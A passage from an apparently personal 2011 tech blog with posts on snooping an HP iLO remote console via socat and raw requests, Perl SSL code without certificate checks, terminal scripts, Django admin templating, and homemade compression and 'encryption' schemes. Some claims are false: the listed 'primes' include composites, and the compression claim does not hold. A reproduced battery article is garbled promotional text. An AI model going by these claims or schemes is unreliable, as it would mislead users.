1. Start a redirector between your local machine to HP ILO IP, as follows:

socat -v TCP-LISTEN:1234,fork openssl-connect:10.112.168.184:443,verify=0

2. Start another redirector between your local machine and HP ILO IP, as follows:

socat -v TCP-LISTEN:23,fork tcp-connect:10.112.168.184:23

3. Connect to the following URL using your browser:

http://localhost:1234

4. Login and then open the remote console and notice that for every character typed, one character (ascii) gets sent to ILO

I just went through a document which provided details of the encryption and remote console process

Here is the procedure to obtain a remote console telnet connection:

[root@localhost Downloads]# cat get-drac2fram 
GET /drc2fram.htm?restart=0 HTTP/1.1
Host: localhost:1234
User-Agent: My Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://localhost:1234/drcinfo.htm?data
Cookie: hp-iLO-Login=(session index):(Base64(username)):(Base64(password)):(Initial session secret)


[root@localhost Downloads]# cat get-drac2fram | ncat --ssl -C 10.112.168.186 443
.
.
.
INFO0
.
.

Handling SSL using perl

2011-04-05T23:19:00.000-07:00

Have been working with lots of perl code lately

Just wrote a raw function (no error handling) to write and read from SSL server using Net::SSL module

Here is the code, in case some one is in need of it urgently:

use Net::SSLeay;
Net::SSLeay::load_error_strings();
Net::SSLeay::SSLeay_add_ssl_algorithms();
Net::SSLeay::randomize();
use IO::Socket;

sub SSLWriteAndRead 
{
   my $ip = shift;
   my $port = shift;
   my $msg = shift;
   #
   # Bring up socket
   #


   my $dest_ip = gethostbyname ($ip);
   my $dest_serv_params  = sockaddr_in($port, $dest_ip);

   
   socket  (S, &AF_INET, &SOCK_STREAM, 0)  or die "socket: $!";
   connect (S, $dest_serv_params)          or die "connect: $!";

   #
   # Define SSL Context
   #
   my $ctx = Net::SSLeay::CTX_new();
   
   #
   # No need to verify certificates
   #
   Net::SSLeay::CTX_set_options($ctx, &Net::SSLeay::OP_ALL);

   #
   # SSL Object
   #
   my $ssl = Net::SSLeay::new($ctx);

   #
   # Map the file descriptor S to this SSL object
   #
   Net::SSLeay::set_fd($ssl, fileno(S));   

   #
   # Connect
   #
   my $result = Net::SSLeay::connect($ssl);
   
   #
   # Write data
   #

   $result = Net::SSLeay::write($ssl, $msg);  
   

   # 
   # Read Data
   #
   my $response = Net::SSLeay::read($ssl);         

   CORE::shutdown S, 1;  
   Net::SSLeay::free ($ssl);   
   Net::SSLeay::CTX_free ($ctx);
   close S;

   
   return $response;
}

A good article on 6 tips to take care of Acer Laptop Battery

2011-04-02T09:32:00.000-07:00

Original Link: http://www.acerlaptopbattery.org/6-tips-to-take-care-of-acer-laptop-battery/

Article reproduced below as is:

6 Tips to Take care of Acer laptop battery
July 30, 2010 by admin in Laptop battery Tips | Leave a comment

1. Do not discharge the acer laptop battery by playing a DVD movie or anything else that need Lot of power. Even your laptop battery has a protection circuit to stop the battery drain to a critical level. Not worry about all this happens in the background. When fully discharged reconnect to the network for a full charge.

2.Never try to charge the battery while the download is only half this Battery will not charge properly.

3. If the laptop is connected to AC power, the Dell inspiron 6400 battery must be removed from the laptop. This is because heat damage li-ion, if your laptop puts out a lot of heat near the batteries (and smarter designed laptops do not) must remove it when not in use.

4. Never Never use a Acer laptop battery charger of a different composition of the laptop. different brands and models have the voltage settings and connection ports, so the most likely cause further damage to the Acer laptop battery. If the value your laptop / notebook only use the factory supplied charger.

5. If your laptop comes with software provided to monitor your Acer laptop battery consumer, make sure you are familiar with it, and you can save a lot of recharge cycles the inspiron E1505 battery if it is configured correctly.

6. Always try to keep your laptop on a flat surface, if you have the laptop on her lap most of the time without realizing it can stop the flow of air through the computer, which can raise the temperature of the battery and damage it.

7. Keep your laptop Acer laptop battery cool. Batteries degrade more quickly when they’re hot. That means you should keep vents clear — don’t put your laptop on a fluffy pillow or a cushioned surface that will cover vents and trap heat.

8. Don’t pack your laptop away in a backpack or other enclosed space when the battery is still warm, trapping the heat. A battery that’s frequently hot to the touch will lose life a lot faster than a battery that isn’t constantly being stressed. Worst of all: If your laptop crashes or refuses to shut off properly, the battery can get extremely hot when packed away in your bag. Check it to make sure it hasn’t gotten dangerously hot while stowed away over the weekend.

9. Don’t charge your laptop constantly. If you only occasionally take your laptop away from a power outlet, but leave it plugged in to charge 24/7, you’re leaving your laptop in a state of perpetual charge at the 100% point — and that is bad for the battery’s long-time health.

10. If you tend to use your laptop mainly at your desk, exercise your Acer laptop batteryhttp://www.mambate.us/v/vspfiles/templates/my100/images/HomePage/H_09_50.gif by running it down and recharging it once or (even better) twice a month.

11. Alternately, you might want to physically remove the laptop battery if you’re using the laptop at your desk for long stretches of time. If you do remove it, don’t store it in a fully charged or depleted state. It’s best to store it in the middle — between 40 and 50 percent of full charge.

PS:I am so happy that Acer laptop battery Blog successfully recommend a customer to Mambate US again.This is the second time

C type getch() in bash

2011-03-23T03:51:00.001-07:00

getch ()     # gets one char from kbd, no "Enter" necessary
{
    OLD_STTY=`stty -g`
    stty cbreak -echo
    GETCH=`dd if=/dev/tty bs=1 count=1 2>/dev/null`
    stty $OLD_STTY
}

AutoComplete using python

2011-03-17T07:06:00.000-07:00

Well, I just wrote a python script to provide autocomplete functionality on command prompt. During the course of writing the script, I came across some really good python related issues. Basically autoComplete can be achieved using either curses or core python functionality. Using curses is better option

The smaller issues are:

1. You have a code that prints numbers 1 in each line as follows:

>>> for iter in range(1, 10, 1):
...     print iter
...
1
2
3
4
5
6
7
8
9

The first problem is to print the numbers above in a single line. This can be easily done in python using:

for iter in range(1, 10, 1):
...     sys.stdout.write(str(iter))
...
12345678

2. Next problem is to print it on a single cursor (not single line). This can be achieved using:

import sys
for a in range(1, 10, 1):
        sys.stdout.write("value" + str(a) + "\r")
        sys.stdout.flush()

print "\r\n"

The above code will run a counter with the word 'value' being constant, and the number changing on the same line

So this is printing on the same line

3. Next is Editing a previously printed line (basically changing it)

suchindrac-pc@suchindracpc-VirtualBox:~/Downloads$ cat d.py
import sys
for a in range(1, 10, 1):
        sys.stdout.write("value" + str(a) + "\r\n")
        sys.stdout.flush()

for a in range(1, 10, 1):
        sys.stdout.write("\033[F")


print "\r\n"
suchindrac-pc@suchindracpc-VirtualBox:~/Downloads$ python d.py
value1
value2
suchindrac-pc@suchindracpc-VirtualBox:~/Downloads$ <-- You are able to traverse to 3rd line 
value4                                                            |
value5                                                            |
value6                                                            |
value7                                                            |
value8                                                            |
value9                                            from here <---- |

4. Implementing C's getch functionality in python (without actually needing an to be typed:

def getChar():
            import sys, tty, termios
            fd = sys.stdin.fileno()
            old_settings = termios.tcgetattr(fd)
            try:
                tty.setraw(sys.stdin.fileno())
                ch = sys.stdin.read(1)
            finally:
                termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
            return ch


ch = getch()

5. Now comes curses: A custom autoSuggest written using python, for a specific list of objects each accessing 3 data from the class instances (namely machine, part and prop, is below:

def autoComplete(stdscr, lst):

#
# lst is a list of objects, where in each object is able to
# access 4 values, namely index, machine, part and prop
#

#
# curses init part
#
 stdscr = curses.initscr()

#
# Don't echo what is written
#
 curses.noecho()

#
# type of tty
#
 curses.cbreak()


#
# Number of lines to print
#
 lenValues = 25

 inpMsg = "Please type in what you want:"

#
# Print inpMsg at 0, 0 on shell
#
 stdscr.addstr(0, 0, inpMsg)
 stdscr.refresh()
 inpLoc = len(inpMsg)
 rowNum = 1
 colNum = 0
 value = ''
 while (1):

#
# Start getting characters from user
#
  ch = stdscr.getch()


#
# When he types , break
#
  if ch == 10:
   break

#
# If he types escape, then clear the line
#
  if ch == 27:
   value = ''
#
# If he types backspace, change the content of value
#
  if ch == 127:
   value = value[:-1]
   printMsg = inpMsg + value
   stdscr.addstr(0, 0, printMsg)
   stdscr.refresh()

   continue
  else:

#
# Append to previous value
#
   value = value + chr(ch)

  value = value.lower()

#
# Value is collected, do the grepping part
#
  stdscr.clear()
  foundValues = []
  for iter1 in lst:
   machFound = iter1.machine.lower().rfind(value)
   partFound = iter1.part.lower().rfind(value)
   propFound = iter1.prop.lower().rfind(value)
   if (machFound != -1) or (partFound != -1) or (propFound != -1):
    foundValues.append(iter1)

  if foundValues:
   if len(foundValues) < 25:
    lenValues = len(foundValues) - 1
   for iter1 in foundValues[:lenValues]:
    toPrint =  str(iter1.index) + "\t" + \
      "->" + str(iter1.machine) + \
      "->" + str(iter1.part) + \
      "->" + str(iter1.prop) 
    stdscr.addstr(rowNum, colNum, toPrint)
    stdscr.refresh()
    rowNum = rowNum + 1

  printMsg = inpMsg + value
  stdscr.addstr(0, 0, printMsg)
  stdscr.refresh()
  rowNum = 1

Here is a command line autosuggest to suggest commands in /bin, /sbin, /usr/bin and /usr/sbin folders written without using curses:

import time, sys, os, commands

def restorescreen():
        curses.nocbreak()
        curses.echo()
        curses.endwin()

def getChar():
            import sys, tty, termios
            fd = sys.stdin.fileno()
            old_settings = termios.tcgetattr(fd)
            try:
                tty.setraw(sys.stdin.fileno())
                ch = sys.stdin.read(1)
            finally:
                termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
            return ch

def goUpALine():
 sys.stdout.write("\033[F")

dummy = 0
def main():
 cmd = 'for file in `ls /bin /sbin /usr/bin /usr/sbin`; do  echo $file; done | grep -v "^/"'
 commandArray = commands.getoutput(cmd)
 commandArray = commandArray.split("\n")

 value = ''
 while (1):
  found = []
  toStdOut = []
         ch = getChar()
  if ord(ch) == 13:
   break
  elif ord(ch) == 127:
   if value != '':
    value = value[:-1]
  else:
   value = value + ch 

  for iter1 in commandArray:
   if iter1.rfind(value) != -1:
    found.append(iter1) 

  if value != '':
   toStdOut.append(value)

  for iter1 in found[:10]:
   toStdOut.append(iter1)

  lenStdOut = len(toStdOut)

  for iter1 in toStdOut:
   for iter2 in range(0, 80, 1):
    sys.stdout.write(" ")
   sys.stdout.write("\r" + iter1 + "\r\n")

  for iter1 in range(0, 11 - lenStdOut, 1):
   sys.stdout.write(" " * 80 + "\r\n")

  for iter1 in range(0, 11, 1):
   goUpALine()
 for iter1 in range(0, 11, 1):
  sys.stdout.write(" " * 80 + "\r\n")
 for iter1 in range(0, 11, 1):
  goUpALine()

main()

Here is the script

Virtual Environments in python

2011-03-16T19:23:00.000-07:00

What It Does

virtualenv is a tool to create isolated Python environments.

The basic problem being addressed is one of dependencies and versions, and indirectly permissions. Imagine you have an application that needs version 1 of LibFoo, but another application requires version 2. How can you use both these applications? If you install everything into /usr/lib/python2.4/site-packages (or whatever your platform's standard location is), it's easy to end up in a situation where you unintentionally upgrade an application that shouldn't be upgraded.

Or more generally, what if you want to install an application and leave it be? If an application works, any change in its libraries or the versions of those libraries can break the application.

Also, what if you can't install packages into the global site-packages directory? For instance, on a shared host.

In all these cases, virtualenv can help you. It creates an environment that has its own installation directories, that doesn't share libraries with other virtualenv environments (and optionally doesn't use the globally installed libraries either)

MTMINI using Community Core Vision

2011-03-13T21:56:00.000-07:00

A Multitouch Mini, MTmini for short, is a cheap, small, portable multitouch pad. It can be used for all different purposes including: drawing, OS navigation, multitouch operation, games, entertainment, experimentation, and more. I created the Multitouch Mini to show people how something that seems complicated or 'magical' can be made simply and at low cost

Here is a very good video describing how to construct the device using cheap materials:

Video

And here is the link to Community Core vision:

Community Core Vision

A good article on emulation

2011-03-09T04:16:00.000-08:00

This is as deep as the rebbit hole can go, keeping things brief

This is an article that explains what emulators do

And this is deeper

Using classes in python for creating multi dimensional mapping

2011-03-08T20:12:00.000-08:00

I had to map num1, num2 and num3 to a single structure so that I can easily access it. One of my colleagues mentioned the idea of using classes, creating objects, and using the objects to access the elements of the three dimensional grouping (dict is 2 dimensional btw)

Tried that and found it useful

Here is an example code:

def func(x, y):
        return ~(x * x) - ~(x * y)


class ThreeDimMap:
        def __init__(self, num1, num2, result):
                self.num1 = num1
                self.num2 = num2
                self.result = result
class RepeatedThreeDimMap:
        def __init__(self, num1, num2, result):
                self.num1 = num1
                self.num2 = num2
                self.result = result

class NonRepeatedThreeDimMap:
        def __init__(self, num1, num2, result):
                self.num1 = num1
                self.num2 = num2
                self.result = result

lst = []
rlst = []
nlst = []
for iter1 in range(0, 32, 1):
        for iter2 in range(0, 32, 1):
                result = func(iter1, iter2)
                TdObj = ThreeDimMap(iter1, iter2, result)
                lst.append(TdObj)



nums = []
for iter in range(0, 1024, 1):
        nums.append(lst[iter].result)

for iter in range(1, 1024, 1):
                if lst[iter].result in nums[0:iter - 1]:
                        rObj = RepeatedThreeDimMap(lst[iter].num1, lst[iter].num2, lst[iter].result)
                        rlst.append(rObj)
                else:
                        nObj = NonRepeatedThreeDimMap(lst[iter].num1, lst[iter].num2, lst[iter].result)
                        nlst.append(nObj)

for iter in range(0, len(rlst) - 1, 1):
        print rlst[iter].num1, rlst[iter].num2, rlst[iter].result

print len(rlst)
print len(nlst)

Inverting the colours of your desktop

2011-03-08T20:06:00.000-08:00

As of now under the 3d compositors category, compiz and Xgl provide the invert desktop option. However, since I have an ATI card, and installation of the ATI driver fails many times, I needed a different solution. Fortunately, there was a forum, where I found that a tool called xcalib which can invert the desktop colours

Installed xcalib using:

aptitude install xcalib

Invoked xcalib as:

xcalib -invert -alter

and bingo I have the same inverted desktop that compiz gave me

So, if you just need to invert your desktop and don't have the card to install compiz or have some problems installing the drivers of the card, just use xcalib

My favourite games - copter game and ksokoban

2011-03-07T06:06:00.000-08:00

Both are addictive games

copter game is reflex based

ksokoban is a puzzle game

Simple way to obtain some prime numbers

2011-03-04T03:16:00.000-08:00

Was analyzing the results of some functions on a sequence of numbers and found that the following function when run sequentially on a list of even numbers from 1 to 50

Noticed that running x * x - x * y + y * y on a sequence of numbers between 1 to 50 results in many prime numbers as response:

bash-4.0$ cat prime.py
def func(x, y):
 return x * x - x * y + y * y

for iter in range(1, 50, 2):
 print func(iter, iter + 1)
bash-4.0$ python prime.py
3
13
31
57
91
133
183
241
307
381
463
553
651
757
871
993
1123
1261
1407
1561
1723
1893
2071
2257
2451
bash-4.0$

Changing the way fieldsets are rendered in django

2011-03-03T04:14:00.000-08:00

A client wanted a specific requirement of having extra custom section headings added just before rendering the fieldsets in input form in django. After some browsing, found that we can actually customize the input form completely. Sharing the procedure below:

1. Edit settings.py and enter the following:

TEMPLATE_DIRS = (
    '/path/to/your/django/project/templates/folder'
    # Example: /home/myproject/templates
)

2. Make a folder structure below the folder mentioned above, as given below:

# ls -lR templates
templates:
total 8
drwxr-xr-x 3 root root 4096 2011-03-03 17:19 admin

templates/admin:
total 16
-rw-r--r-- 1 root root 3332 2011-03-03 15:40 base.html
-rw-r--r-- 1 root root  283 2011-03-03 15:41 base_site.html
-rw-r--r-- 1 root root 2697 2011-03-03 13:28 change_form.html
drwxr-xr-x 2 root root 4096 2011-03-03 17:25 includes

templates/admin/includes:
total 4
-rw-r--r-- 1 root root 943 2011-03-03 13:57 fieldset.html

3. Copy paste the files from contrib admin to your templates folder as follows:

cp /usr/share/pyshared/django/contrib/admin/templates/admin/base*html /path/to/django/templates/admin/

NOTE: The above step is not needed if you don't like to change the main admin page

4. Copy paste the fieldset.html page from includes folder to your project's django templates folder as follows:

cp /usr/share/pyshared/django/contrib/admin/templates/admin/includes/fieldset.html /path/to/project/templates/admin/includes/fieldset.html

5. Let us consider an example where you want to provide multiple fieldnames to render in fieldset.html. And say you want to print the names in order before considering the fields. The following is what you would consider:

a. Edit fieldsets.html and make it look like something like below:

  {% if fieldset.name %}
    {% for name in fieldset.name %}
      {{ name }}    {% endfor %}
  {% endif %}

b. Edit your Admin view to include the following:

class myOwnView(admin.ModelAdmin):
    fieldNameList = ['Details', 'Category1']
    fieldset1 = (
        (fieldNameList, {
             'classes': classes,
             'fields': ('string1', 'string2', 'string3',)
        })
    )

    fieldsets = (fieldset1)


admin.site.register(mainView, myOwnView)

NOTE: The above code describes a python list with two words namely 'Details' and 'Category1' sent to the fieldset.name parameter to be rendered in fieldset.html. The fieldset.html has a for loop which iterates through the names and writes headings in order given

c. Start your django inbuilt webserver:

python manage.py runserver IP:PORT

d. Now browse IP:PORT/admin and notice the changes

A very good website to handle huge numbers

2011-02-27T07:05:00.000-08:00

http://bitizer.com/ is a website that can help you convert ascii to base36 to decimal and also to hexadecimal

Numbers can be very huge (beyond 128 bits in binary)

Compressing string by converting it to base36

2011-02-25T10:19:00.000-08:00

The following is the algorithm used:

a. Take each character in the string and convert the character to its base36 equivalent
b. You will notice that the base36 equivalent numbers of each character in the string will be lesser than the ascii values of the characters
c. Now convert the base36 values to binary
d. Notice that the string length is reduced by >= 50 %

Here is the ruby script for the algorithm above:

def strToBase36List(strng)

def strToBase36List(strng)
        base36List = []
        for c in strng.split(//)
         base36List << c.to_i(36)
        end
        return base36List
end

def zerofill(bString, zvalue, direction)
        if direction == 'left'
                return bString.rjust(zvalue, '0')
        else
                return bString.ljust(zvalue, '0')
        end
end


def listToBitStream(lst)
        bitStream = ''
        lst.each { |iter|
                bitStream += iter.to_s(2)
        }
        return bitStream
end

def findAsciiLen(strng)
        len = 0
        for c in strng.split(//)
                len += zerofill(c[0].to_s(2), 8, 'left').length
        end
        return len
end

def bitStreamToAscValList(bitstream)
        ascList = []
        lenStream = bitstream.length
        if lenStream < 8
                bitstream = zerofill(bitstream, 8)
                ascList << bitstream.to_i(2)
        end
        if lenStream >= 8 and lenStream % 8 != 0
                bitstream = zerofill(bitstream, lenStream + 8 - (lenStream % 8) , 'right')        
        end
        (0..lenStream).step(8) do |x|
                ascList << bitstream[x..x + 7].to_i(2)
        end
        return ascList
end

def reduceLen(strng)
        strngList = []
        for c in strng.split(//)
                strngList << c[0]
        end
        stream = listToBitStream(strngList)
        origLen = findAsciiLen(strng)
        b36stream = strToBase36List(strng)
        stream1 = listToBitStream(b36stream)
        reducedLen = stream1.length
        stream1List = bitStreamToAscValList(stream1)
        strng2 = ''
        for c in stream1List
                strng2 += c.chr
        end
        return stream, origLen, stream1, reducedLen, strng, strng2, b36stream
end
        
def increaseLen(b36stream)
        sList = []
        for c in b36stream
  sList << c.to_s(36)
        end
        return sList
end

input = ARGV[0]
stream1, origLen, stream2, reducedLen, strng1, strng2, bstream1 = reduceLen(input)
#print "stream1 = " + stream1 + "\n" + "stream2 = " + stream2 + "\n" + "strng1 = " + strng1 + "\n" + "strng2 = " + strng2 + "\n" + "bstream1 = " + bstream1.to_s + "\n" 
origList = increaseLen(bstream1)
#print origList.to_s.gsub("0", " ") + "\n"
print strng1 + "\n" + strng2
print "\n" + "Percentage reduction in size = " + ((reducedLen.to_f/origLen.to_f) * 100).to_f.to_s + "\n"

An idea on emulation

2011-02-25T06:00:00.000-08:00

Usually emulators read compiled binary kernels in machine language, get them executed and send the results back to virtual machine

The idea is to enhance the emulator to

1. A parser parses a kernel source written in a high level programming language or scripting language such as say ruby
2. Translate it to machine language code by either mapping to/or building a machine language binary stream based on the input parsed
3. Send the machine language code down to the real processor
4. Get it executed by the physical processor
5. Get the response back to the virtual machine

This would enable writing kernels in scripting languages which provide higher flexibility. The interpretor takes care of parsing and understanding the requirements provided in the scripting language and builds the right machine language binary stream. We can call these kernels __interpreted kernels__. I can imagine something like below:

kernel.vm:
------------------

#!/usr/bin/vm_emulator

import emulator

registers = {}

registers['ds'] = 0x07c0
registers['es'] = 0x07c0
registers['ss'] = 0x8000
registers['sp'] = 0xf000

#
# Real mode part
#
def main():
      realModeObj = emulator.RealMode(org = 0x7c00, registers, boot = 'floppy')

      codeSegmentDetails = [0,0xFFFFF,CS_ACCES,1101b]
      dataSegmentDetails = [0,0xFFFFF,CS_ACCES,1101b]

      realModeObj.setupGDT(codeSegmentDetails, dataSegmentDetails)
      realModeObj.disableInterrupts()
      realModeObj.loadGDT()
      realModeObj.enterProtectedMode()

      protModeObj = emulator.protectedMode()

      protModeObj.initMem()
      protModeObj.initVideo()
      protModeObj.idtInstall()
      protModeObj.isrsInstall()
      protModeObj.keyboardInstall()
      protModeObj.scanPCIBuses()
      protModeObj.enterInfiniteLoop()

The kernel interpretor interprets this source and builds machine language code for each operation mentioned in the kernel and emulates it accordingly

manipulation in ruby

2011-02-24T21:14:00.001-08:00

This is something I like about ruby:


irb(main):019:0> 30.to_s(2)
=> "11110"
irb(main):020:0> 30.to_s(10)
=> "30"
irb(main):021:0> 30.to_s(16)
=> "1e"

irb(main):027:0> '11110'.to_i(2)
=> 30
irb(main):028:0> '30'.to_i(10)
=> 30
irb(main):029:0> '1e'.to_i(16)
=> 30

A good idea implemented in python

2011-02-24T03:18:00.000-08:00

I worked on this idea for the past few days, and it looks like a meaningful one to me. The history behind this idea goes back to my wish to find out a very good compression algorithm.

With this in mind, I knew what I wanted: A way to derive two unique numbers between 0 and 255 for every number between 0 and 255

The total number of permutations and combinations of two unique numbers between 0 and 255 would be 255 * 255. A subset of this, namely 255 such combinations would be derived and mapped to one number each between 0 and 255

Now let us consider the idea below:

a. Consider a 8 bit number num, where:

num = 10111011

b. Write down the number on a straight line as follows:

1 0 1 1 1 0 1 1

c. Next, subtract the second digit from the first, the third digit from the second and so on, using the following truth table:

You get the following rows:

row
                  |
                  V

          1 0 1 1 1 0 1 1
            1 1 0 0 1 1 0
              0 1 0 1 0 1
                1 1 1 1 1
                  0 0 0 0
 diagonal ->        0 0 0 <- column
                      0 0
                        0

Now, consider the three sides of the above figure, the diagonal, the row and the column and you get the following numbers:

diagonal = 11011000
               row      = 10111011
               column   = 10110000

d. When you apply the above calculation to derive the diagonal and column for each number between 0 and 255 placed on the row, you find that you get unique number combinations of diagonal and column for each value of row e. The following is a python script which would print all the 255 unique combinations of diagonal and column for 255 values of row:

import sys
from math import *
from sets import Set
import getopt

#
# Truth table:
#         0 0 0
#        0 1 1
#         1 0 1 
#        1 1 0
#

def bin(n):
        bStr = ''
        if n < 0: raise ValueError, "must be a positive integer"
        if n == 0: return '0'
        while n > 0:
                bStr = str(n % 2) + bStr
                n = n >> 1
        return bStr
        
def op(x, y):
        if x == '1' and y == '1':
                return '0'
        if x == '1' and y == '0':
                return '1'
        if x == '0' and y == '1':
                return '1'
        if x == '0' and y == '0':
                return '0'

def usage():
        print "python script.py -n number -s sides"

def log(strng):
        if debug == 1:
                print strng

def display(strng):
        if triangle == 1:
                print strng

#
# Function to return diagonal and column if a row is provided as input
#        
def findAll(num1l):
        num1l_i = int(num1l, 2)
        limit = len(num1l) - 1
        row0 = list(num1l)
        for iter1 in range(1, limit + 1):
                func = "row" + str(iter1) + " = []"
                exec(func)
                for iter2 in range(0, limit - iter1 + 1):
                        lhs =         "row" + str(iter1) + ".append("
                        rhs =         "op(row" + str(iter1 - 1) + "[" + str(iter2) + "], " + \
                                "row" + str(iter1 - 1) + "[" + str(iter2 + 1) +"]))"
                                        
                        func = lhs + rhs
                        exec(func)

        for iter in range(0, limit + 1):
                func = "display( ' ' * " + str(5  + iter * 5) + " + str(row" + str(iter) + "))"
                exec(func)
        
        diagonal = []
        
        for iter in range(0, limit + 1):
                func = "diagonal.append(row" + str(iter)  + "[0])"
                exec(func)
        
        
        column = []
        for iter in range(0, limit + 1):
                func = "column.append(row" + str(iter) + "[len(row" + str(iter) + ") -1])"
                exec(func)
        
        return diagonal, column
        

#
# Main Script
# 

if len(sys.argv) < 2:
        usage()
        sys.exit(1)

try:
        opts, args = getopt.getopt(sys.argv[1:], "htds:n:", ["help", "triangle", "debug", "sides=", "num="])
except getopt.GetoptError, err:
        usage()
        sys.exit(1)

debug = triangle = 0
sides = 1

for o, a in opts:
        if o in ("-h", "--help"):
                usage()
        elif o in ("-s", "--sides"):
                sides = int(a)
        elif o in ("-n", "--num"):
                snum = a
        elif o in ("-d", "--debug"):
                debug = 1
        elif o in ("-t", "--triangle"):
                triangle = 1
        else:
                log("Unhandled exception, exiting")
                sys.exit(1)

while sides > 0:
        num = int(snum, 10)

        bnum = bin(int(num))
        zf = len(bnum)
        diagonal, column = findAll(bnum)
        sdiagonal, scolumn = "".join(diagonal), "".join(column)
        idiagonal, icolumn = int(sdiagonal, 2), int(scolumn, 2)
        log("%s\t%s\t%s" % (snum, str(idiagonal), str(icolumn)))
        snum = str(int("".join(column), 2))
        sides = sides - 1
        
import pyx

The output that you get for 16 bits, as follows:

sh-3.2$ cat b.sh
for iter in `seq 0 15`
do
        python pythogoras.py -n $iter -s 1 -d
done
sh-3.2$ bash b.sh
0       0       0
1       1       1
2       3       1
3       2       2
4       7       1
5       6       6
6       5       3
7       4       4
8       15      1
9       14      14
10      12      4
11      13      11
12      10      2
13      11      13
14      9       7
15      8       8

Using the above analogy, we can divide each number between 0 and 255 to two unique ascii values derived based on the above algorithm and maintain all the three as lists in python. Now we have three lists, one each for diagonal, row and column respectively For each ascii value in a file, we can create two files, one which consists of corresponding diagonals, and another one which consists of corresponding columns (say file1.txt and file2.txt) file1.txt and file2.txt are such that they can be combined to derive file.txt using the mapping derived earlier. This can be used for validation purposes wherein two people will submit one file each, and if and only if the files map to a proper text file file.txt according to the above algorithm, then the two people are having the right files The script below does just that:

$cat encrypt-and-separate.py
import sys
from math import *
from sets import Set
import getopt

#
# Truth table:
#         0 0 0
#        0 1 1
#         1 0 1 
#        1 1 0
#

def bin(n):
        bStr = ''
        if n < 0: raise ValueError, "must be a positive integer"
        if n == 0: return '0'
        while n > 0:
                bStr = str(n % 2) + bStr
                n = n >> 1
        return bStr
        
def op(x, y):
        if x == '1' and y == '1':
                return '0'
        if x == '1' and y == '0':
                return '1'
        if x == '0' and y == '1':
                return '1'
        if x == '0' and y == '0':
                return '0'

def usage():
        print "python script.py -f file"

def log(strng):
        if debug == 1:
                print strng

def display(strng):
        if triangle == 1:
                print strng

#
# Function to return diagonal and column if a row is provided as input
#        
def findAll(num1l):
        num1l_i = int(num1l, 2)
        limit = len(num1l) - 1
        row0 = list(num1l)
        for iter1 in range(1, limit + 1):
                func = "row" + str(iter1) + " = []"
                exec(func)
                for iter2 in range(0, limit - iter1 + 1):
                        lhs =         "row" + str(iter1) + ".append("
                        rhs =         "op(row" + str(iter1 - 1) + "[" + str(iter2) + "], " + \
                                "row" + str(iter1 - 1) + "[" + str(iter2 + 1) +"]))"
                                        
                        func = lhs + rhs
                        exec(func)

        for iter in range(0, limit + 1):
                func = "display( ' ' * " + str(5  + iter * 5) + " + str(row" + str(iter) + "))"
                exec(func)
        
        diagonal = []
        
        for iter in range(0, limit + 1):
                func = "diagonal.append(row" + str(iter)  + "[0])"
                exec(func)
        
        
        column = []
        for iter in range(0, limit + 1):
                func = "column.append(row" + str(iter) + "[len(row" + str(iter) + ") -1])"
                exec(func)
        
        return diagonal, column
        

#
# Main Script
# 

if len(sys.argv) < 2:
        usage()
        sys.exit(1)

try:
        opts, args = getopt.getopt(sys.argv[1:], "hdf:", ["help", "triangle", "debug", "file=", "num="])
except getopt.GetoptError, err:
        usage()
        sys.exit(1)

debug = triangle = 0

for o, a in opts:
        if o in ("-h", "--help"):
                usage()
        elif o in ("-f", "--file"):
                file = a
        elif o in ("-d", "--debug"):
                debug = 1
        else:
                log("Unhandled exception, exiting")
                sys.exit(1)

fd = open(file, 'r')

content = fd.read()
hexContent = []
for ch in content:
        hexContent.append(ord(ch))

length = len(hexContent)
if length % 10 != 0:
        while (length % 10 != 0):
                hexContent.append(0)
                length = len(hexContent)

copy1 = []
copy2 = []

for iter in hexContent:
        diagonal, column = findAll(bin(iter))
        sDiagonal = "".join(diagonal)
        sColumn = "".join(column)
        iDiagonal = int(sDiagonal, 2)
        iColumn = int(sColumn, 2)
        copy1.append(iDiagonal)
        copy2.append(iColumn)
        log("%5s\t%5s\t%5s" % (str(iter), str(iDiagonal), str(iColumn)))

log(copy1)
log(copy2)

fd1 = open('copy1.txt', 'w')
fd2 = open('copy2.txt', 'w')

for iter in copy1:
        fd1.write(chr(iter))

for iter in copy2:
        fd2.write(chr(iter))


$cat decrypt-and-combine.py
import sys
from math import *
from sets import Set
import getopt

#
# Truth table:
#         0 0 0
#        0 1 1
#         1 0 1 
#        1 1 0
#

def bin(n):
        bStr = ''
        if n < 0: raise ValueError, "must be a positive integer"
        if n == 0: return '0'
        while n > 0:
                bStr = str(n % 2) + bStr
                n = n >> 1
        return bStr
        
def op(x, y):
        if x == '1' and y == '1':
                return '0'
        if x == '1' and y == '0':
                return '1'
        if x == '0' and y == '1':
                return '1'
        if x == '0' and y == '0':
                return '0'

def usage():
        print "python script.py -f file"

def log(strng):
        if debug == 1:
                print strng

def display(strng):
        if triangle == 1:
                print strng

#
# Function to return diagonal and column if a row is provided as input
#        
def findAll(num1l):
        num1l_i = int(num1l, 2)
        limit = len(num1l) - 1
        row0 = list(num1l)
        for iter1 in range(1, limit + 1):
                func = "row" + str(iter1) + " = []"
                exec(func)
                for iter2 in range(0, limit - iter1 + 1):
                        lhs =         "row" + str(iter1) + ".append("
                        rhs =         "op(row" + str(iter1 - 1) + "[" + str(iter2) + "], " + \
                                "row" + str(iter1 - 1) + "[" + str(iter2 + 1) +"]))"
                                        
                        func = lhs + rhs
                        exec(func)

        for iter in range(0, limit + 1):
                func = "display( ' ' * " + str(5  + iter * 5) + " + str(row" + str(iter) + "))"
                exec(func)
        
        diagonal = []
        
        for iter in range(0, limit + 1):
                func = "diagonal.append(row" + str(iter)  + "[0])"
                exec(func)
        
        
        column = []
        for iter in range(0, limit + 1):
                func = "column.append(row" + str(iter) + "[len(row" + str(iter) + ") -1])"
                exec(func)
        
        return diagonal, column
        

#
# Main Script
# 

if len(sys.argv) < 2:
        usage()
        sys.exit(1)

try:
        opts, args = getopt.getopt(sys.argv[1:], "hdf:", ["help", "triangle", "debug", "file=", "num="])
except getopt.GetoptError, err:
        usage()
        sys.exit(1)

debug = triangle = 0

for o, a in opts:
        if o in ("-h", "--help"):
                usage()
        elif o in ("-f", "--file"):
                file = a
        elif o in ("-d", "--debug"):
